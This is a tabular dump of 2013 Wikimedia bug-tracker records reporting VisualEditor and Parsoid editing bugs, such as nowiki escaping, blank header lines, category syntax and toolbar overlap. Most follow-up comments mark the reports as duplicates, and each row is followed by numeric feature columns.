232646,VisualEditor throws <nowiki> next to any square bracket [,"Looks like we are either still have a problem or it may have resurfaced; last section of:

http://en.wikipedia.org/w/index.php?title=Raphael_Sch%C3%A4fer&diff=prev&oldid=562506378

and follow up edits.",,,1372748767,,PHID-USER-wswkm7jrcwes3tc7o34k,False,,,PHID-TASK-trv3cartgmv24xouxumz,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5925925925925926,0.9259259259259259,"Looks like we are either still have a problem or it may have resurfaced; last section of:

URL

and follow up edits."
232640,VisualEditor throws <nowiki> next to any square bracket [,We have refined the nowiki escaping in Parsoid so that external link like syntax that does not have a valid target is no longer escaped.,,,1372744432,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-trv3cartgmv24xouxumz,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.3076923076923075,0.9230769230769231,We have refined the nowiki escaping in Parsoid so that external link like syntax that does not have a valid target is no longer escaped.
52313,VisualEditor: Cutting the text of a header leaves a blank header line behind,"Fairly self-explanatory.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372359060,1373154763.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-lorkde4zqpoazowbiim6,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.130434782608695,0.6086956521739131,"Fairly self-explanatory.

--------------------------
**Version**: unspecified
**Severity**: normal"
231451,VisualEditor: Cutting the text of a header leaves a blank header line behind,"This is bug 50100.

*** This bug has been marked as a duplicate of bug 50100 ***",,,1373154763,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lorkde4zqpoazowbiim6,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.8260869565217392,0.6086956521739131,"This is bug 50100.

*** This bug has been marked as a duplicate of bug 50100 ***"
231443,VisualEditor: Cutting the text of a header leaves a blank header line behind,"Removing a paragraph and header does the same - https://en.wikipedia.org/w/index.php?title=Idlib_Governorate_clashes_%28June_2012%E2%80%93present%29&curid=39240723&diff=562677456&oldid=562663343

Can this please be prioritised and assigned?",,,1372853616,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-lorkde4zqpoazowbiim6,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,16.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.315789473684211,0.9473684210526315,"Removing a paragraph and header does the same - URL

Can this please be prioritised and assigned?"
52312,VisualEditor: edit link on the history page needs updating,"The history page of any article has an 'edit' link on it; this currently takes you to source editing, which seems highly likely to confuse users.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372358460,1372366680.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ymkat6i32jrdnouhpmiw,task_description,invalid,True,c1,2,False,False,True,-1,,2.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9183673469387754,0.7755102040816326,"The history page of any article has an 'edit' link on it; this currently takes you to source editing, which seems highly likely to confuse users.

--------------------------
**Version**: unspecified
**Severity**: normal"
231398,VisualEditor: edit link on the history page needs updating,"How very strange. Slightly slower loading time giving a false impression, probably; thanks :).",,,1372364368,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ymkat6i32jrdnouhpmiw,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,4.5,0.9444444444444444,"How very strange. Slightly slower loading time giving a false impression, probably; thanks :)."
231391,VisualEditor: edit link on the history page needs updating,"Do you mean the diff page - e.g. https://en.wikipedia.org/w/index.php?title=Barack_Obama&diff=561813443&oldid=561813311 - the history page e.g. https://en.wikipedia.org/wiki/Barack_Obama?action=history - or the oldid page - e.g. https://en.wikipedia.org/w/index.php?title=Barack_Obama&oldid=561813443 ?

'Cos the second two work for me; the first one isn't a history page, though. :-)",,,1372364187,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ymkat6i32jrdnouhpmiw,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,2.0,0.0,7.0,4.0,0.0,0.0,0.0,2.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,9.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.6666666666666666,"Do you mean the diff page - e.g. URL - the history page e.g. URL - or the oldid page - e.g. URL ?

'Cos the second two work for me; the first one isn't a history page, though. :-)"
52295,Carriage return shows up among text,"This is what Alberobello looks like under VE

When trying to edit http://it.wikipedia.org/wiki/Alberobello (tested with MonoBook on FF and Vector on Chrome) a few ""carriage returns"" appear in the first lines. I'd also add that I spot these in https://www.mediawiki.org/wiki/VisualEditor/Basic_example_worksheet : the line which says ""Test split on multiple lines""? It isn't.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11918}",Needs Triage,90.0,1372348860,1373854867.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-vthqyhkr4mcwanonthu2,task_description,resolved,True,c1,2,False,False,True,-1,,1.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,20.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,11.0,8.0,1.0,4.0,0.0,3.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.4565217391304346,0.6847826086956522,"This is what Alberobello looks like under VE

When trying to edit URL (tested with MonoBook on FF and Vector on Chrome) a few ""carriage returns"" appear in the first lines. I'd also add that I spot these in URL : the line which says ""Test split on multiple lines""? It isn't.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11918}"
255695,Carriage return shows up among text,"(In reply to comment #0)
> Created attachment 12662 [details]
> This is what Alberobello looks like under VE
> 
> When trying to edit http://it.wikipedia.org/wiki/Alberobello (tested with
> MonoBook on FF and Vector on Chrome) a few ""carriage returns"" appear in the
> first lines.

This is because the blank line is a 'slug' - see bug 47790 for further discussion.

> I'd also add that I spot these in
> https://www.mediawiki.org/wiki/VisualEditor/Basic_example_worksheet : the
> line
> which says ""Test split on multiple lines""? It isn't.

It's a test of whether you can edit the caption with multiple lines for it to display correctly; it's not meant to actually end up on multiple lines, which is why it shows up with '↵'s instead.

*** This bug has been marked as a duplicate of bug 47790 ***

**Attached**: {F11918}",,,1373854867,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vthqyhkr4mcwanonthu2,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,1.0,1.0,3.0,1.0,0.5,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.0,2.0,3.0,1.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,2.5,9.0,2.0,0.0,5.0,0.0,0.0,0.0,0.5,3.0,0.0,2.0,0.0,3.5,11.0,4.5,0.0,2.0,0.0,3.5,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,3.156830601092896,0.6614754098360656,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is because the blank line is a 'slug' - see bug 47790 for further discussion.

QUOTE
QUOTE
QUOTE
QUOTE

It's a test of whether you can edit the caption with multiple lines for it to display correctly; it's not meant to actually end up on multiple lines, which is why it shows up with '↵'s instead.

*** This bug has been marked as a duplicate of bug 47790 ***

**Attached**: {F11918}"
52293,ULS doesn't work while using VisualEditor,"When VisualEditor is enabled there is no option to enable ULS, where I could type in Odia in the search bar using ULS.

When VIsualEditor is enabled there typing is possible only in English. There is no option to change the language using ULS where as it works normally in the search bar. I have tested it for Odia Wikipedia for the article on Colombo: https://or.wikipedia.org/wiki/Colombo on Mac OS X 10.7.5 using browser Firefox 21.0.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11913}",Needs Triage,90.0,1372346160,1372351064.0,PHID-USER-az3b22hiqzlaov5l2efk,False,,False,PHID-TASK-mfexrt4v3gjwo4jczoeu,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,1.0,0.0,2.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.5,1.0,1.5,0.0,3.5,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,4.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,17.5,2.0,0.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,3.0,7.0,9.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.5,0.0,0.0,1.0,3.8636363636363633,0.6454545454545455,"When VisualEditor is enabled there is no option to enable ULS, where I could type in Odia in the search bar using ULS.

When VIsualEditor is enabled there typing is possible only in English. There is no option to change the language using ULS where as it works normally in the search bar. I have tested it for Odia Wikipedia for the article on Colombo: URL on Mac OS X 10.7.5 using browser Firefox 21.0.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11913}"
255613,ULS doesn't work while using VisualEditor,"

*** This bug has been marked as a duplicate of bug 49569 ***",,,1372351064,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-mfexrt4v3gjwo4jczoeu,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49569 ***"
52290,VisualEditor: not permitting interaction with some media files (and formatting them weirdly),"See https://en.wikipedia.org/wiki/Mitochondrial_DNA?veaction=edit - the links appear, via source editing, to be perfectly normal, and yet you can't interact with them and they display oddly.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372344540,1373852602.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bklb3mjjhzmtwofxaf4c,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.851063829787234,0.723404255319149,"See URL - the links appear, via source editing, to be perfectly normal, and yet you can't interact with them and they display oddly.

--------------------------
**Version**: unspecified
**Severity**: normal"
255457,VisualEditor: not permitting interaction with some media files (and formatting them weirdly),"This would have been bug 48900 in Parsoid.

*** This bug has been marked as a duplicate of bug 48900 ***",,,1373852602,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bklb3mjjhzmtwofxaf4c,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.1481481481481484,0.6296296296296297,"This would have been bug 48900 in Parsoid.

*** This bug has been marked as a duplicate of bug 48900 ***"
52283,VisualEditor: references cannot be copied and pasted without losing formatting,"Fairly self-explanatory. The reason this is important; being able to copy references across is crucial when using multiple references from one source item. If I have a book by Jones, from 2003, and I have a reference that reads <ref>Jones (2003) p.23</ref> for one statement, and want to cite page 57 for another, it's a lot easier to change the page number than it is to type everything out again.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372337880,1373851094.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-3b3ojih2e7wkq7l3upwi,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,1.0,0.0,0.0,0.0,5.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,9.5,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.5,0.0,0.5,0.0,9.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,3.5,2.5,5.5,1.0,1.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,3.0,9.5,3.0,0.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,0.5,1.0,0.0,1.5,3.818577648766328,0.7614296081277214,"Fairly self-explanatory. The reason this is important; being able to copy references across is crucial when using multiple references from one source item. If I have a book by Jones, from 2003, and I have a reference that reads <ref>Jones (2003) p.23</ref> for one statement, and want to cite page 57 for another, it's a lot easier to change the page number than it is to type everything out again.

--------------------------
**Version**: unspecified
**Severity**: normal"
254975,VisualEditor: references cannot be copied and pasted without losing formatting,"This should be addressed when bug 33105 is fixed.

*** This bug has been marked as a duplicate of bug 33105 ***",,,1373851094,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3b3ojih2e7wkq7l3upwi,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,7.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.25,0.6785714285714286,"This should be addressed when bug 33105 is fixed.

*** This bug has been marked as a duplicate of bug 33105 ***"
52278,VisualEditor: Page settings dialog adds categories with [[:Category:xyz]] syntax,"When you add a category to a page using the page settings dialog, it gets added as a wikilink [[:Category:xyz]], not a category inclusion [[Category:xyz]].

Seen on testwiki and enwiki.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372331040,1372435698.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-o7g3xrsatafdlookojvh,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,9.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,6.0,3.523076923076923,0.6,"When you add a category to a page using the page settings dialog, it gets added as a wikilink [[:Category:xyz]], not a category inclusion [[Category:xyz]].

Seen on testwiki and enwiki.

--------------------------
**Version**: unspecified
**Severity**: normal"
254768,VisualEditor: Page settings dialog adds categories with [[:Category:xyz]] syntax,"This was a Parsoid bug, since fixed.",,,1372435698,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-o7g3xrsatafdlookojvh,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,11.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"This was a Parsoid bug, since fixed."
52276,VisualEditor: Toolbar obscures save dialog when scrolled down the page,"Screenshot of bug

When scrolled down the page, the top of the save dialog is obscured by the toolbar. See screenshot.

See also other z-index bugs: bug 49514 and bug 49275.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11882}",Needs Triage,90.0,1372329960,1372387036.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-6a4gkdcnicitblhp6cug,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.6029411764705882,"Screenshot of bug

When scrolled down the page, the top of the save dialog is obscured by the toolbar. See screenshot.

See also other z-index bugs: bug 49514 and bug 49275.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11882}"
254685,VisualEditor: Toolbar obscures save dialog when scrolled down the page,"

*** This bug has been marked as a duplicate of bug 50324 ***",,,1372387036,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-6a4gkdcnicitblhp6cug,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50324 ***"
52267,VisualEditor: not adhering to column numbers when rendering,"See https://en.wikipedia.org/wiki/Microorganism?veaction=edit#See_also for example; that should be divided into 3 columns.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372301820,1373520752.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mgc6io5oxbkpzoctvybg,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.903225806451613,0.7096774193548387,"See URL for example; that should be divided into 3 columns.

--------------------------
**Version**: unspecified
**Severity**: normal"
254255,VisualEditor: not adhering to column numbers when rendering,"This is almost certainly the same as bug 50036.

*** This bug has been marked as a duplicate of bug 50036 ***",,,1373520752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mgc6io5oxbkpzoctvybg,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.1785714285714284,0.6428571428571429,"This is almost certainly the same as bug 50036.

*** This bug has been marked as a duplicate of bug 50036 ***"
